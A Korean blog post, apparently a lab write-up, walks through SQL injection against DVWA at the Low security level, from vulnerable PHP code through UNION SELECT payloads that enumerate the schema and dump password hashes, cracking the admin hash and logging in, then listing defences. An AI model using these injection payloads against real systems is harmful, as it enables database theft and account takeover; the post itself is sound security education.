웹 해킹 & 보안

[웹 모의해킹] SQL Injection 실습 - 1편 - Low 단계

ahhyun98 2025. 6. 5. 14:06

 

이번 실습은 DVWASQL Injection 취약점을 대상으로 한 공격 시나리오로, 보안 레벨이 Low로 설정된 환경에서 데이터베이스 정보를 추출하고 패스워드를 크랙 하여 인증 우회에 성공하는 과정을 다뤘다. 실습은 단순한 쿼리 조작을 넘어서, 실제 서비스에 치명적인 영향을 줄 수 있는 SQLi 공격의 전 과정을 따라가며 이해하는 것이 목적이었다. 


1. SQL Injection이란?

SQL Injection웹 애플리케이션이 사용자 입력값을 적절히 검증하지 않고 SQL 쿼리에 포함시킬 때 발생하는 취약점이다. 

공격자는 이를 통해 쿼리를 조작하거나 우회해 데이터베이스의 민감한 정보를 탈취하거나, 인증을 우회하거나, 시스템을 제어할 수 있다. 


2. 실습 환경

  • DVWA 보안 레벨 : Low
  • 대상 취약점 페이지 : /vulnerabilities/sqli/
  • 공격 방식 : SQL 쿼리 조작 => 정보 추출 => 해시 크랙
  • 도구 : 웹 브라우저, CrackStation

3. 취약한 코드 분석

<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
    $id = $_REQUEST[ 'id' ];
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( mysqli_error($GLOBALS["___mysqli_ston"]) );
    while( $row = mysqli_fetch_assoc( $result ) ) {
        $first = $row["first_name"];
        $last  = $row["last_name"];
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }
    mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>

 

사용자 입력값을 아무런 필터링 없이 SQL 쿼리에 삽입하고 있음 => SQL Injection 발생


4. 기본 페이로드 테스트

  • 정상적인 입력:
1
SELECT first_name, last_name FROM users WHERE user_id = '1';

 

=> ID가 1인 사용자만 조회가 된다. 

 

  • SQL 우회 :

1'OR'1=1

 

SELECT first_name, last_name FROM users WHERE user_id = '1' OR '1=1';

# 무조건 true가 됨.

 

=> '1=1'은 항상 참이므로, 조건 전체가 참이 된다. => 모든 사용자 정보 노출


5. 컬럼 개수 파악

 

 

입력값: 'ORDER BY 1#
입력값: 'ORDER BY 2#
입력값: 'ORDER BY 3#

 

=> 3번째 쿼리에서 에러 발생 => 사용 가능한 컬럼 수는 2개 


6. 정보 추출 (UNION SELECT)

UNION 

SELECT문을 하나로 이어준다. 

 

단순 출력 테스트

입력값: 1' UNION SELECT 1, 2#

 

DB 정보 추출

 

 

 

 

 

 

 

입력값: 1' UNION SELECT null, version()#
입력값: 1' UNION SELECT null, database()#
입력값: 1' UNION SELECT null, user()#

 

=> DB 버젼, DB명, 사용자 확인

 


7. 테이블 및 컬럼 조회

테이블 목록

입력값: 1' UNION SELECT null, table_name FROM information_schema.tables WHERE table_schema='dvwa'#

 

=> users, guestbook 등 확인

 

컬럼 목록

입력값: 1' UNION SELECT null, column_name FROM information_schema.columns WHERE table_name='users'#

 

=> user_id, first_name, last_name, user, password 등 확인


8. 사용자 정보 추출

입력값: 1' UNION SELECT null, concat(user,0x0a,password) FROM users#

 

=> 줄 바꿈 문자 0x0a 사용해 user와 password를 보기 좋게 출력


9. CrackStation을 통한 해시 크랙

admin
5f4dcc3b5aa765d61d8327deb882cf99

 

=> CrackStation (https://crackstation.net/) 사용

=> 복호화 결과 : password


10. 로그인 시도

  • ID : admin
  • PW : password

=> DVWA 로그인 성공! 인증 우회 완료


11. 대응 방안

보안 조치 설명
Prepared Statement 쿼리와 입력값을 분리하여 삽입 방지
입력 필터링  숫자 ID에는 숫자만 허용
오류 메세지 숨기기 DB 에러 노출 금지
최소 권한 계정 사용 읽기 전용 DB 계정 사용 권장

12. 배운 점 & 느낀 점

이번 실습은 단순한 숫자 입력창 하나로부터 전체 사용자 정보와 해시된 비밀번호까지 탈취할 수 있다는 점에서 SQL Injection의 위험성을 크게 느낄 수 있었다. 또한 CrackStation을 활용해 인증 우회를 성공했는데 이는 실제 서비스에서도 충분히 가능한 공격이라는 것을 깨달을 수 있었다. 무조건 Prepared Statement를 사용하고, 사용자 입력값을 검증해야 한다는 것을 다시 한번 생각해 볼 수 있었던 실습이었다. 

 

 

 

이 블로그는 불법 해킹 및 악의적인 활동을 지양하며, 그런 행위는 절대 권장하지 않습니다.

모든 실습은 허가된 환경에서만 진행해야 하며, 법적 책임은 사용자 본인에게 있습니다.